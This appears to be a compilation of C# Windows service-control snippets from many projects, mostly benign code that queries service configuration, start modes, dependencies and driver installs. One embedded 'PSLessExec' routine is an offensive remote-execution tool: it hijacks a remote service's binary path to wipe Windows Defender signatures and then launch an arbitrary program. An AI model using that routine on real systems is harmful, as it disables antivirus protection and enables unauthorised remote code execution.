internal static ServiceStartMode GetServiceStartMode(ServiceController svc)
{
int neededBytes = 0;
bool result = QueryServiceConfig(svc.ServiceHandle, IntPtr.Zero, 0, out neededBytes);
int win32err = Marshal.GetLastWin32Error();
if (win32err == ERROR_INSUFFICIENT_BUFFER) //122
{
IntPtr ptr = IntPtr.Zero;
try
{
ptr = Marshal.AllocCoTaskMem(neededBytes);
result = QueryServiceConfig(svc.ServiceHandle, ptr, neededBytes, out neededBytes);
if (result)
{
QUERY_SERVICE_CONFIG config = (QUERY_SERVICE_CONFIG)Marshal.PtrToStructure(ptr, typeof(QUERY_SERVICE_CONFIG));
return(config.dwStartType);
}
else
{
win32err = Marshal.GetLastWin32Error();
throw new Win32Exception(win32err, "QueryServiceConfig failed");
}
}
finally
{
Marshal.FreeCoTaskMem(ptr);
}
}
else
{
throw new Win32Exception(win32err, "QueryServiceConfig failed");
}
}
public static bool TryStartService(string svcName)
{
bool wasDisabled = false;
QUERY_SERVICE_CONFIG SvcConfig = new QUERY_SERVICE_CONFIG();
IntPtr hSvcMgr = OpenSCManager(null, null, SC_MANAGER_CONNECT);
IntPtr hSvc = OpenService(hSvcMgr, "TrustedInstaller",
SERVICE_CHANGE_CONFIG | SERVICE_QUERY_CONFIG | SERVICE_START);
// Check if the service was disabled
uint dummy = 0;
IntPtr ptr = Marshal.AllocHGlobal(4096);
if (!QueryServiceConfig(hSvc, ptr, 4096, out dummy)) return false;
Marshal.PtrToStructure(ptr, SvcConfig);
Marshal.FreeHGlobal(ptr);
wasDisabled = (SvcConfig.dwStartType == SvcStartupType.Disabled);
// If it was disabled, set it as manual temporary
if (wasDisabled)
{
if (!ChangeServiceConfig(hSvc, SERVICE_NO_CHANGE,
SvcStartupType.Manual, SERVICE_NO_CHANGE,
null, null, IntPtr.Zero, null, null, null, null)) return false;
}
// Start the service
StartService(hSvc, 0, null);
// If it was disabled, set it back to disabled
if (wasDisabled)
{
if (!ChangeServiceConfig(hSvc, SERVICE_NO_CHANGE,
SvcStartupType.Disabled, SERVICE_NO_CHANGE,
null, null, IntPtr.Zero, null, null, null, null)) return false;
}
// Clean up
CloseServiceHandle(hSvc);
CloseServiceHandle(hSvcMgr);
return true;
}
public static ServiceInfo GetServiceInfo(string ServiceName, IntPtr SCMHandle)
{
ServiceInfo serviceInfo = new ServiceInfo();
try
{
IntPtr serviceHandle = OpenService(SCMHandle, ServiceName, 0xF01FF);
uint bytesNeeded = 0;
QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();
IntPtr qscPtr = IntPtr.Zero;
bool retCode = QueryServiceConfig(serviceHandle, qscPtr, 0, out bytesNeeded);
if (!retCode && bytesNeeded == 0)
{
throw new Win32Exception();
}
else
{
qscPtr = Marshal.AllocCoTaskMem((int)bytesNeeded);
retCode = QueryServiceConfig(serviceHandle, qscPtr, bytesNeeded, out bytesNeeded);
if (!retCode)
{
throw new Win32Exception();
}
qsc.binaryPathName = IntPtr.Zero;
qsc.dependencies = IntPtr.Zero;
qsc.displayName = IntPtr.Zero;
qsc.loadOrderGroup = IntPtr.Zero;
qsc.startName = IntPtr.Zero;
qsc = (QUERY_SERVICE_CONFIG)Marshal.PtrToStructure(qscPtr, typeof(QUERY_SERVICE_CONFIG));
}
serviceInfo.binaryPathName = Marshal.PtrToStringAuto(qsc.binaryPathName);
serviceInfo.dependencies = Marshal.PtrToStringAuto(qsc.dependencies);
serviceInfo.displayName = Marshal.PtrToStringAuto(qsc.displayName);
serviceInfo.loadOrderGroup = Marshal.PtrToStringAuto(qsc.loadOrderGroup);
serviceInfo.startName = Marshal.PtrToStringAuto(qsc.startName);
serviceInfo.errorControl = qsc.errorControl;
serviceInfo.serviceType = qsc.serviceType;
serviceInfo.startType = qsc.startType;
serviceInfo.tagID = qsc.tagID;
serviceInfo.serviceHandle = serviceHandle; // Return service handler
Marshal.FreeHGlobal(qscPtr);
}
catch (Exception)
{
//Console.WriteLine($"[!] Error trying to open the service {ServiceName}");
}
return(serviceInfo);
}
public static bool GetAutoStartValue(string svcName)
{
IntPtr hSCManager = IntPtr.Zero;
IntPtr hService = IntPtr.Zero;
try
{
hSCManager = OpenSCManager(null, null, ScManagerGenericAccessRigths.GENERIC_WRITE);
if (hSCManager != IntPtr.Zero)
{
hService = OpenService(hSCManager, svcName, ServiceAccessRigths.SERVICE_QUERY_CONFIG);
if (hService != IntPtr.Zero)
{
int bufLen = 0;
if (QueryServiceConfig(hService, IntPtr.Zero, 0, ref bufLen))
{
throw new Exception("Unexpected result from QueryServiceConfig API.");
}
int err = GetLastError();
if (err != ERROR_INSUFFICIENT_BUFFER)
{
throw new Exception(string.Format("Could not get service configuration, error 0x{0:X8}.", err));
}
IntPtr pBuf = Marshal.AllocHGlobal(bufLen);
try
{
if (!QueryServiceConfig(hService, pBuf, bufLen, ref bufLen))
{
throw new Exception(string.Format("Could not get service configuration, error 0x{0:X8}.", GetLastError()));
}
QUERY_SERVICE_CONFIG qsc = (QUERY_SERVICE_CONFIG)Marshal.PtrToStructure(pBuf, typeof(QUERY_SERVICE_CONFIG));
return(qsc.dwStartType == ServiceStartType.SERVICE_AUTO_START);
}
finally
{
Marshal.FreeHGlobal(pBuf);
}
}
}
}
finally
{
if (hService != IntPtr.Zero)
{
CloseServiceHandle(hService);
}
if (hSCManager != IntPtr.Zero)
{
CloseServiceHandle(hSCManager);
}
}
throw new Exception(string.Format("Could not get service configuration, error 0x{0:X8}.", GetLastError()));
}
public static void Main(string[] args)
{
if (args.Length != 3)
{
Console.WriteLine("Usage: PSLessExec.exe [Target] [Service] [BinaryToRun]");
Console.WriteLine("Example: PSLessExec.exe appsrv01 SensorService notepad.exe");
return;
}
// Open remote SCManager
IntPtr SCMHandle = OpenSCManager(args[0], null, SC_MANAGER_ALL_ACCESS);
Console.WriteLine($"Got handle on SCManager on {args[0]}: {SCMHandle}.");
// Access target service
IntPtr schService = OpenService(SCMHandle, args[1], SERVICE_ALL_ACCESS);
Console.WriteLine($"Got handle on target service {args[1]}: {schService}.");
// Get current binPath (two passes, first is to determine the buffer size needed)
UInt32 dwBytesNeeded;
QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();
bool bResult = QueryServiceConfig(schService, IntPtr.Zero, 0, out dwBytesNeeded);
IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);
bResult = QueryServiceConfig(schService, ptr, dwBytesNeeded, out dwBytesNeeded);
Marshal.PtrToStructure(ptr, qsc);
String binPathOrig = qsc.lpBinaryPathName;
// Pass 1: Disable Defender signatures
String defBypass = "******"C:\\Program Files\\Windows Defender\\MpCmdRun.exe\" -RemoveDefinitions -All";
bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, defBypass, null, null, null, null, null, null);
Console.WriteLine($"Overwrote service executable to become '{defBypass}', result: {bResult}.");
// Run the service for Pass 1
bResult = StartService(schService, 0, null);
Console.WriteLine("Launched service, defender signatures should be wiped.");
// Pass 2: Run the chosen binary
bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, args[2], null, null, null, null, null, null);
Console.WriteLine($"Overwrote service executable to become '{args[2]}', result: {bResult}.");
// Run the service for Pass 2
bResult = StartService(schService, 0, null);
Console.WriteLine("Launched service. Check for execution!");
// Pass 3: Restore original binPath
bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, binPathOrig, null, null, null, null, null, null);
Console.WriteLine($"Restored service binary to '{binPathOrig}', result: {bResult}.");
}
public static bool TryStartService(string svcName)
{
bool wasDisabled = false;
QUERY_SERVICE_CONFIG SvcConfig = new QUERY_SERVICE_CONFIG();
IntPtr hSvcMgr = OpenSCManager(null, null, SC_MANAGER_CONNECT);
IntPtr hSvc = OpenService(hSvcMgr, "TrustedInstaller",
SERVICE_CHANGE_CONFIG | SERVICE_QUERY_CONFIG | SERVICE_START);
// Check if the service was disabled
uint dummy = 0;
IntPtr ptr = Marshal.AllocHGlobal(4096);
if (!QueryServiceConfig(hSvc, ptr, 4096, out dummy))
{
return(false);
}
Marshal.PtrToStructure(ptr, SvcConfig);
Marshal.FreeHGlobal(ptr);
wasDisabled = (SvcConfig.dwStartType == SvcStartupType.Disabled);
// If it was disabled, set it as manual temporary
if (wasDisabled)
{
if (!ChangeServiceConfig(hSvc, SERVICE_NO_CHANGE,
SvcStartupType.Manual, SERVICE_NO_CHANGE,
null, null, IntPtr.Zero, null, null, null, null))
{
return(false);
}
}
// Start the service
StartService(hSvc, 0, null);
// If it was disabled, set it back to disabled
if (wasDisabled)
{
if (!ChangeServiceConfig(hSvc, SERVICE_NO_CHANGE,
SvcStartupType.Disabled, SERVICE_NO_CHANGE,
null, null, IntPtr.Zero, null, null, null, null))
{
return(false);
}
}
// Clean up
CloseServiceHandle(hSvc);
CloseServiceHandle(hSvcMgr);
return(true);
}
private static string GetServiceBinPath(IntPtr service)
{
var config = new QUERY_SERVICE_CONFIG();
var ptr = Marshal.AllocHGlobal(4096);
uint bytesOut = 0;
if (!QueryServiceConfig(service, ptr, 4096, out bytesOut))
{
throw new ApplicationException("Failed to query service config. (" + Marshal.GetLastWin32Error() + ")");
}
Marshal.PtrToStructure(ptr, config);
Marshal.FreeHGlobal(ptr);
return(config.lpBinaryPathName.Replace("\\??\\C:", "C:"));
}
public static string QueryServiceExePath(string serviceName)
{
string exePath = null;
IntPtr scm = OpenSCManager(ScmAccessRights.Connect);
if (scm != IntPtr.Zero)
{
IntPtr service = OpenService(scm, serviceName, ServiceAccessRights.QueryStatus | ServiceAccessRights.QueryConfig);
if (service != IntPtr.Zero)
{
int bytesNeeded = 1000;
IntPtr qscPtr = IntPtr.Zero;
try
{
qscPtr = Marshal.AllocCoTaskMem(bytesNeeded);
int ret = QueryServiceConfig(service, qscPtr, bytesNeeded, ref bytesNeeded);
if (ret == 0)
{
qscPtr = Marshal.ReAllocCoTaskMem(qscPtr, bytesNeeded);
ret = QueryServiceConfig(service, qscPtr, bytesNeeded, ref bytesNeeded);
}
if (ret > 0)
{
QUERY_SERVICE_CONFIG qsc = Marshal.PtrToStructure(qscPtr, typeof(QUERY_SERVICE_CONFIG)) as QUERY_SERVICE_CONFIG;
exePath = qsc.lpBinaryPathName;
}
}
catch (Exception ex)
{
System.Windows.MessageBox.Show(ex.Message + "\r\n" + ex.StackTrace);
}
finally
{
Marshal.FreeCoTaskMem(qscPtr);
}
}
CloseServiceHandle(service);
}
CloseServiceHandle(scm);
return(exePath);
}
// 检查当前本软件驱动是否已经安装
public static bool IsDriverInstalled(out FileVersionInfo versionInfo)
{
string tempdir = Path.GetTempPath();
string mydir = Path.Combine(tempdir, tmpDriverPath);
versionInfo = null;
bool drvInstalled = false;
const uint GENERIC_READ = 0x80000000;
// 打开服务控制管理器
IntPtr scmgr = OpenSCManager(null, null, GENERIC_READ);
if (!scmgr.Equals(IntPtr.Zero))
{
// 查找服务
const uint SERVICE_QUERY_CONFIG = 0x00000001;
IntPtr service = OpenService(scmgr, "FKUsbTracer", SERVICE_QUERY_CONFIG);
if (!service.Equals(IntPtr.Zero))
{
// 获取文件版本号
uint dwBytesNeeded = 0;
QueryServiceConfig(service, IntPtr.Zero, dwBytesNeeded, out dwBytesNeeded);
IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);
if (QueryServiceConfig(service, ptr, dwBytesNeeded, out dwBytesNeeded))
{
// 成功找到服务路径
QUERY_SERVICE_CONFIG qsConfig = new QUERY_SERVICE_CONFIG();
Marshal.PtrToStructure(ptr, qsConfig);
var binarypath = qsConfig.lpBinaryPathName;
binarypath = Regex.Replace(binarypath, "\\\\SystemRoot\\\\", "", RegexOptions.IgnoreCase);
// 获取二进制数据版本号
string sysroot = Environment.ExpandEnvironmentVariables("%systemroot%");
versionInfo = FileVersionInfo.GetVersionInfo(sysroot + "\\" + binarypath);
// 驱动正常安装，并获得了完全信息
drvInstalled = true;
}
Marshal.FreeHGlobal(ptr);
CloseServiceHandle(service);
}
CloseServiceHandle(scmgr);
}
return drvInstalled;
}
public static bool IsDriverInstalled(out FileVersionInfo versionInfo)
{
versionInfo = null;
bool drvInstalled = false;
const uint GENERIC_READ = 0x80000000;
// open service manager
IntPtr scmgr = OpenSCManager(null, null, GENERIC_READ);
if (!scmgr.Equals(IntPtr.Zero))
{
// open busdog service
const uint SERVICE_QUERY_CONFIG = 0x00000001;
IntPtr service = OpenService(scmgr, "busdog", SERVICE_QUERY_CONFIG);
if (!service.Equals(IntPtr.Zero))
{
// find the busdog binary and get its file version
uint dwBytesNeeded = 0;
QueryServiceConfig(service, IntPtr.Zero, dwBytesNeeded, out dwBytesNeeded);
IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);
if (QueryServiceConfig(service, ptr, dwBytesNeeded, out dwBytesNeeded))
{
// success! found busdog service and binary path
QUERY_SERVICE_CONFIG qsConfig = new QUERY_SERVICE_CONFIG();
Marshal.PtrToStructure(ptr, qsConfig);
// replace non-expanded environment var
var binarypath = qsConfig.lpBinaryPathName;
binarypath = Regex.Replace(binarypath, "\\\\SystemRoot\\\\", "", RegexOptions.IgnoreCase);
// get version info of busdog binary
string sysroot = Environment.ExpandEnvironmentVariables("%systemroot%");
versionInfo = FileVersionInfo.GetVersionInfo(sysroot + "\\" + binarypath);
// driver is installed and got all needed info
drvInstalled = true;
}
Marshal.FreeHGlobal(ptr);
CloseServiceHandle(service);
}
CloseServiceHandle(scmgr);
}
return(drvInstalled);
}
private void SetServiceInfo(IntPtr serviceHandle)
{
UInt32 dwBytesNeeded;
// Allocate memory for struct.
var ptr = Marshal.AllocHGlobal(4096);
QueryServiceConfig(serviceHandle, ptr, 4096, out dwBytesNeeded);
var config = new QUERY_SERVICE_CONFIG();
// Copy
Marshal.PtrToStructure(ptr, config);
// Free memory for struct.
Marshal.FreeHGlobal(ptr);
UserName = config.lpServiceStartName.Trim('"');
Path = config.lpBinaryPathName;
ErrorControl = (ErrorControl)config.dwErrorControl;
LoadOrderGroup = config.lpLoadOrderGroup;
TagID = config.dwTagID;
StartType = (StartType)config.dwStartType;
}
public static bool IsDriverInstalled(out FileVersionInfo versionInfo)
{
versionInfo = null;
bool drvInstalled = false;
const uint GENERIC_READ = 0x80000000;
// open service manager
IntPtr scmgr = OpenSCManager(null, null, GENERIC_READ);
if (!scmgr.Equals(IntPtr.Zero))
{
// open busdog service
const uint SERVICE_QUERY_CONFIG = 0x00000001;
IntPtr service = OpenService(scmgr, "busdog", SERVICE_QUERY_CONFIG);
if (!service.Equals(IntPtr.Zero))
{
// find the busdog binary and get its file version
uint dwBytesNeeded = 0;
QueryServiceConfig(service, IntPtr.Zero, dwBytesNeeded, out dwBytesNeeded);
IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);
if (QueryServiceConfig(service, ptr, dwBytesNeeded, out dwBytesNeeded))
{
// success! found busdog service and binary path
QUERY_SERVICE_CONFIG qsConfig = new QUERY_SERVICE_CONFIG();
Marshal.PtrToStructure(ptr, qsConfig);
// get version info of busdog binary
string sysroot = Environment.ExpandEnvironmentVariables("%systemroot%");
versionInfo = FileVersionInfo.GetVersionInfo(sysroot + "\\" + qsConfig.lpBinaryPathName);
// driver is installed and got all needed info
drvInstalled = true;
}
Marshal.FreeHGlobal(ptr);
CloseServiceHandle(service);
}
CloseServiceHandle(scmgr);
}
return drvInstalled;
}
public bool ServiceIsAutoStart(string svcName)
{
IntPtr sc_hndl = OpenSCManager(null, null, (uint)SCM_ACCESS.GENERIC_READ);
if (sc_hndl.ToInt32() != 0)
{
IntPtr svc_hndl = OpenService(sc_hndl, svcName, (uint)SERVICE_ACCESS.SERVICE_QUERY_CONFIG);
if (svc_hndl.ToInt32() != 0)
{
UInt32 dwBytesNeeded = 0;
// Allocate memory for struct.
IntPtr ptr = Marshal.AllocHGlobal(4096);
bool result = QueryServiceConfig(svc_hndl, ptr, 4096, out dwBytesNeeded);
if (result)
{
uint SERVICE_AUTO_START = 0x00000002;
QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();
// Copy
Marshal.PtrToStructure(ptr, qsc);
// Free memory for struct.
Marshal.FreeHGlobal(ptr);
result = (qsc.dwStartType == SERVICE_AUTO_START);
}
CloseServiceHandle(svc_hndl);
CloseServiceHandle(sc_hndl);
return(result);
}
CloseServiceHandle(sc_hndl);
}
return(false);
}
public static extern bool QueryServiceConfigA(
int hService, [MarshalAs(UnmanagedType.Struct)] ref QUERY_SERVICE_CONFIG lpServiceConfig, int cbBufSize,
int pcbBytesNeeded);
QueryServiceConfigW(int hService,
ref QUERY_SERVICE_CONFIG lpServiceConfig,
uint cbBufSize,
ref uint pcbBytesNeeded);
public static extern int QueryServiceConfigW(int hService,
ref QUERY_SERVICE_CONFIG lpServiceConfig,
uint cbBufSize,
ref uint pcbBytesNeeded);
private static ServiceController [] GetServiceDependencies(string serviceName, string machineName)
{
IntPtr scHandle = IntPtr.Zero;
IntPtr svcHandle = IntPtr.Zero;
IntPtr buffer = IntPtr.Zero;
try {
scHandle = OpenServiceControlManager(machineName,
SERVICE_MANAGER_RIGHTS.SC_MANAGER_CONNECT);
svcHandle = OpenService(scHandle, serviceName, SERVICE_RIGHTS.SERVICE_QUERY_CONFIG);
if (svcHandle == IntPtr.Zero)
{
throw CreateCannotOpenServiceException(serviceName, machineName);
}
uint bufferSize = 0;
uint bytesNeeded = 0;
ServiceController [] services;
while (true)
{
if (!QueryServiceConfig(svcHandle, buffer, bufferSize, out bytesNeeded))
{
int err = Marshal.GetLastWin32Error();
if (err == ERROR_INSUFFICIENT_BUFFER)
{
buffer = Marshal.AllocHGlobal((int)bytesNeeded);
bufferSize = bytesNeeded;
}
else
{
throw new Win32Exception(err);
}
}
else
{
QUERY_SERVICE_CONFIG config = (QUERY_SERVICE_CONFIG)Marshal.PtrToStructure(
buffer, typeof(QUERY_SERVICE_CONFIG));
Hashtable depServices = new Hashtable();
IntPtr iPtr = config.lpDependencies;
StringBuilder sb = new StringBuilder();
string currentChar = Marshal.PtrToStringUni(iPtr, 1);
while (currentChar != "\0")
{
sb.Append(currentChar);
iPtr = new IntPtr(iPtr.ToInt64() + Marshal.SystemDefaultCharSize);
currentChar = Marshal.PtrToStringUni(iPtr, 1);
if (currentChar != "\0")
{
continue;
}
iPtr = new IntPtr(iPtr.ToInt64() + Marshal.SystemDefaultCharSize);
currentChar = Marshal.PtrToStringUni(iPtr, 1);
string dependency = sb.ToString();
if (dependency [0] == SC_GROUP_IDENTIFIER)
{
ServiceController [] groupServices = GetServices(
machineName, SERVICE_TYPE.SERVICE_WIN32,
dependency.Substring(1));
foreach (ServiceController sc in groupServices)
{
if (!depServices.Contains(sc.ServiceName))
{
depServices.Add(sc.ServiceName, sc);
}
}
}
else if (!depServices.Contains(dependency))
{
depServices.Add(dependency, new ServiceController(dependency, machineName));
}
sb.Length = 0;
}
services = new ServiceController [depServices.Count];
depServices.Values.CopyTo(services, 0);
break;
}
}
return(services);
} finally {
if (scHandle != IntPtr.Zero)
{
CloseServiceHandle(scHandle);
}
if (svcHandle != IntPtr.Zero)
{
CloseServiceHandle(svcHandle);
}
if (buffer != IntPtr.Zero)
{
Marshal.FreeHGlobal(buffer);
}
}
}
internal static List <Services> GetServices()
{
var serviceList = new List <Services>();
List <ENUM_SERVICE_STATUS_PROCESS> result = new List <ENUM_SERVICE_STATUS_PROCESS>();
IntPtr handle = IntPtr.Zero;
IntPtr buf = IntPtr.Zero;
try
{
handle = OpenSCManager(null, null, (int)ServiceControlManagerType.SC_MANAGER_ALL_ACCESS);
if (handle != IntPtr.Zero)
{
uint iBytesNeeded = 0;
uint iServicesReturned = 0;
uint iResumeHandle = 0;
// ENUM_SERVICE_STATUS_PROCESS infoLevel = new ENUM_SERVICE_STATUS_PROCESS();
if (!EnumServicesStatusEx(handle, SC_ENUM_PROCESS_INFO, (int)ServiceType.SERVICE_WIN32, (int)ServiceStateRequest.SERVICE_STATE_ALL, IntPtr.Zero, 0, out iBytesNeeded, out iServicesReturned, ref iResumeHandle, null))
{
// allocate our memory to receive the data for all the services (including the names)
buf = Marshal.AllocHGlobal((int)iBytesNeeded);
if (!EnumServicesStatusEx(handle, SC_ENUM_PROCESS_INFO, (int)ServiceType.SERVICE_WIN32, (int)ServiceStateRequest.SERVICE_STATE_ALL, buf, iBytesNeeded, out iBytesNeeded, out iServicesReturned, ref iResumeHandle, null))
{
return(null);
}
ENUM_SERVICE_STATUS_PROCESS serviceStatus;
// check if 64 bit system which has different pack sizes
if (IntPtr.Size == 8)
{
long pointer = buf.ToInt64();
for (int i = 0; i < (int)iServicesReturned; i++)
{
serviceStatus = (ENUM_SERVICE_STATUS_PROCESS)Marshal.PtrToStructure(new IntPtr(pointer),
typeof(ENUM_SERVICE_STATUS_PROCESS));
result.Add(serviceStatus);
// incremement by sizeof(ENUM_SERVICE_STATUS_PROCESS) allow Packing of 8
pointer += ENUM_SERVICE_STATUS_PROCESS.SizePack8;
}
}
else
{
int pointer = buf.ToInt32();
for (int i = 0; i < (int)iServicesReturned; i++)
{
serviceStatus = (ENUM_SERVICE_STATUS_PROCESS)Marshal.PtrToStructure(new IntPtr(pointer),
typeof(ENUM_SERVICE_STATUS_PROCESS));
result.Add(serviceStatus);
// incremement by sizeof(ENUM_SERVICE_STATUS_PROCESS) allow Packing of 4
pointer += ENUM_SERVICE_STATUS_PROCESS.SizePack4;
}
}
}
for (int i = 0; i < result.Count; i++)
{
ENUM_SERVICE_STATUS_PROCESS service = result[i];
Services srv = new Services();
if (srv != null)
{
srv.ServiceName = service.pServiceName;
srv.FullName = service.pDisplayName;
int sstatus = service.ServiceStatus.currentState;
int stype = service.ServiceStatus.serviceType;
srv.PID = service.ServiceStatus.processId;
switch (sstatus)
{
case 0x2:
case 0x4:
case 0x5:
case 0x6:
case 0x7:
srv.Status = "SERVICE_ACTIVE";
break;
case 0x01:
srv.Status = "SERVICE_INACTIVE";
break;
default:
//case 0x3:
srv.Status = "UNKNOWN";
break;
}
switch (stype)
{
case 0x01:
srv.Type = "SERVICE_KERNEL_DRIVER";
break;
case 0x02:
srv.Type = "SERVICE_FILE_SYSTEM_DRIVER";
break;
case 0x10:
srv.Type = "SERVICE_WIN32_OWN_PROCESS";
break;
case 0x20:
srv.Type = "SERVICE_WIN32_SHARED_PROCESS";
break;
case 0x100:
srv.Type = "SERVICE_INTERACTIVE_PROCESS";
break;
default:
srv.Type = "UNKNOWN";
break;
}
try
{
IntPtr serviceHandle = OpenService(handle, service.pServiceName, 0x1);
QUERY_SERVICE_CONFIG qUERY_SERVICE_CONFIG = new QUERY_SERVICE_CONFIG();
IntPtr ptr = Marshal.AllocHGlobal(0);
int bytesNeeded = 0;
bool success = QueryServiceConfig(serviceHandle, ptr, 0, out bytesNeeded);
if (bytesNeeded != 0)
{
ptr = Marshal.AllocHGlobal(bytesNeeded);
success = QueryServiceConfig(serviceHandle, ptr,
bytesNeeded, out bytesNeeded);
Marshal.PtrToStructure(ptr, qUERY_SERVICE_CONFIG);
Marshal.FreeHGlobal(ptr);
}
srv.Path = qUERY_SERVICE_CONFIG.lpBinaryPathName;
srv.StartMode = ((ServiceStartMode)qUERY_SERVICE_CONFIG.dwStartType).ToString();
srv.Description = GetServiceDescription(serviceHandle);
srv.StartedAs = qUERY_SERVICE_CONFIG.lpServiceStartName;
}
catch (Exception)
{
}
serviceList.Add(srv);
}
}
}
}
catch (Exception)
{
}
finally
{
if (handle != IntPtr.Zero)
{
CloseServiceHandle(handle);
}
if (buf != IntPtr.Zero)
{
Marshal.FreeHGlobal(buf);
}
}
return(serviceList);
}
private static Boolean StartService()
{
Boolean Result = false;
String ServiceStartName = "";
IntPtr Mgr = OpenSCManager(null, null, SC_MANAGER_ALL_ACCESS);
if (Mgr != IntPtr.Zero)
{
IntPtr Svc = OpenService(Mgr, "EEPLoaderService", SERVICE_ALL_ACCESS);
Result = Svc != IntPtr.Zero;
if (Result)
{
UInt32 Size = 0;
IntPtr Config = Marshal.AllocHGlobal(4096);
try
{
QueryServiceConfig(Svc, Config, 4096, out Size);
QUERY_SERVICE_CONFIG qUERY_SERVICE_CONFIG = new QUERY_SERVICE_CONFIG();
Marshal.PtrToStructure(Config, qUERY_SERVICE_CONFIG);
ServiceStartName = qUERY_SERVICE_CONFIG.lpServiceStartName;
if (String.Compare(ServiceStartName, "LocalSystem") == 0)
ServiceStartName = "SYSTEM";
}
finally
{
Marshal.FreeHGlobal(Config);
}
}
}
if (Result)
{
StringBuilder UserName = new StringBuilder();
int NameLength = 256;
GetUserName(UserName, ref NameLength);
Result = ServiceStartName.CompareTo(UserName.ToString()) == 0;
}
return Result;
}
private Process GetFarFetchedProcess(string serviceName)
{
QUERY_SERVICE_CONFIG serviceConfig = new QUERY_SERVICE_CONFIG();
base.DoNativeServiceTask(serviceName, ServiceAccessFlags.AllAccess, delegate(IntPtr serviceHandle)
{
uint num = 1024U;
uint num2 = 0U;
IntPtr intPtr = Marshal.AllocHGlobal((int)num);
try
{
if (!NativeMethods.QueryServiceConfig(serviceHandle, intPtr, num, out num2))
{
if (Marshal.GetLastWin32Error() != 122)
{
throw new Win32Exception(Marshal.GetLastWin32Error());
}
Marshal.FreeHGlobal(intPtr);
intPtr = Marshal.AllocHGlobal((int)num2);
if (!NativeMethods.QueryServiceConfig(serviceHandle, intPtr, num2, out num2))
{
throw new Win32Exception(Marshal.GetLastWin32Error());
}
}
Marshal.PtrToStructure(intPtr, serviceConfig);
}
finally
{
Marshal.FreeHGlobal(intPtr);
}
});
if ((serviceConfig.dwServiceType & 16U) == 0U)
{
TaskLogger.Log(Strings.NoOwnProcessService(serviceName));
return(null);
}
if (string.IsNullOrEmpty(serviceConfig.binaryPathName))
{
TaskLogger.Log(Strings.NoExecutableForService(serviceName));
return(null);
}
string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(ManageSetupService.GetPathWithoutQuotes(ManageSetupService.GetFileNameWithoutFolderNameAndParam(serviceConfig.binaryPathName)));
Process[] processesByName = Process.GetProcessesByName(fileNameWithoutExtension);
foreach (Process process in processesByName)
{
string processId = "-";
string startTime = "-";
string endTime = "-";
try
{
processId = process.Id.ToString();
if (process.HasExited)
{
endTime = process.ExitTime.ToString();
}
else
{
startTime = process.StartTime.ToString();
}
}
catch (InvalidOperationException)
{
}
TaskLogger.Log(Strings.FoundProcessesForService(fileNameWithoutExtension, serviceName, processId, startTime, endTime));
}
if (processesByName.Length != 1)
{
TaskLogger.Log(Strings.BadNumberOfProcessesForService(serviceName, processesByName.Length.ToString()));
return(null);
}
return(processesByName[0]);
}
public static extern Boolean QueryServiceConfig(IntPtr hService, QUERY_SERVICE_CONFIG lpServiceConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);
static public ServiceProperties GetServiceProperties(string serviceName)
{
UInt32 dwBytesNeeded;
bool success;
IntPtr databaseHandle = OpenSCManager(
null,
null,
NativeConstants.ServiceControlManager.SC_MANAGER_ALL_ACCESS);
// An error might happen here if we are not running as administrator and the service
// database is locked.
if (databaseHandle == IntPtr.Zero)
{
throw new ExternalException(
"Unable to OpenSCManager. Not enough rights.");
}
IntPtr serviceHandle = OpenService(
databaseHandle,
serviceName,
NativeConstants.Service.SERVICE_ALL_ACCESS);
if (serviceHandle == IntPtr.Zero)
{
string errMsg = GetErrorMessage(Marshal.GetLastWin32Error());
CloseServiceHandle(databaseHandle);
throw new ExternalException(
"Unable to OpenService '" + serviceName + "':" + errMsg);
}
// Take basic info. Everything is taken into account except the
// delayed autostart.
//
// The 'ref' keyword tells the compiler that the object is initialized
// before entering the function, while 'out' tells the compiler that the
// object will be initialized inside the function.
// src.: http://stackoverflow.com/a/388467/3514658
// Determine the buffer size needed (dwBytesNeeded).
success = QueryServiceConfig(serviceHandle, IntPtr.Zero, 0, out dwBytesNeeded);
if (!success &&
Marshal.GetLastWin32Error() !=
NativeConstants.SystemErrorCode.ERROR_INSUFFICIENT_BUFFER)
{
string errMsg = GetErrorMessage(Marshal.GetLastWin32Error());
CloseServiceHandle(serviceHandle);
CloseServiceHandle(databaseHandle);
throw new ExternalException(
"Unable to get service config for '" + serviceName + "': " + errMsg);
}
// Get the main info of the service. See this struct for more info:
// src.: https://msdn.microsoft.com/en-us/library/windows/desktop/ms684950(v=vs.85).aspx
IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);
success = QueryServiceConfig(
serviceHandle,
ptr,
dwBytesNeeded,
out dwBytesNeeded);
if (!success)
{
Marshal.FreeHGlobal(ptr);
string errMsg = GetErrorMessage(Marshal.GetLastWin32Error());
CloseServiceHandle(serviceHandle);
CloseServiceHandle(databaseHandle);
throw new ExternalException(
"Unable to get service config for '" + serviceName + "': " + errMsg);
}
// Copy memory to serviceConfig.
QUERY_SERVICE_CONFIG serviceConfig = new QUERY_SERVICE_CONFIG();
Marshal.PtrToStructure(ptr, serviceConfig);
Marshal.FreeHGlobal(ptr);
ServiceProperties props = new ServiceProperties();
props.ServiceConfig.QUERY_SERVICE_CONFIG = serviceConfig;
// Get all possible infos
List <uint> infoLevels = new List <uint>();
infoLevels.Add(NativeConstants.Service.SERVICE_CONFIG_DELAYED_AUTO_START_INFO);
infoLevels.Add(NativeConstants.Service.SERVICE_CONFIG_DESCRIPTION);
infoLevels.Add(NativeConstants.Service.SERVICE_CONFIG_FAILURE_ACTIONS);
infoLevels.Add(NativeConstants.Service.SERVICE_CONFIG_FAILURE_ACTIONS_FLAG);
infoLevels.Add(NativeConstants.Service.SERVICE_CONFIG_PREFERRED_NODE);
infoLevels.Add(NativeConstants.Service.SERVICE_CONFIG_PRESHUTDOWN_INFO);
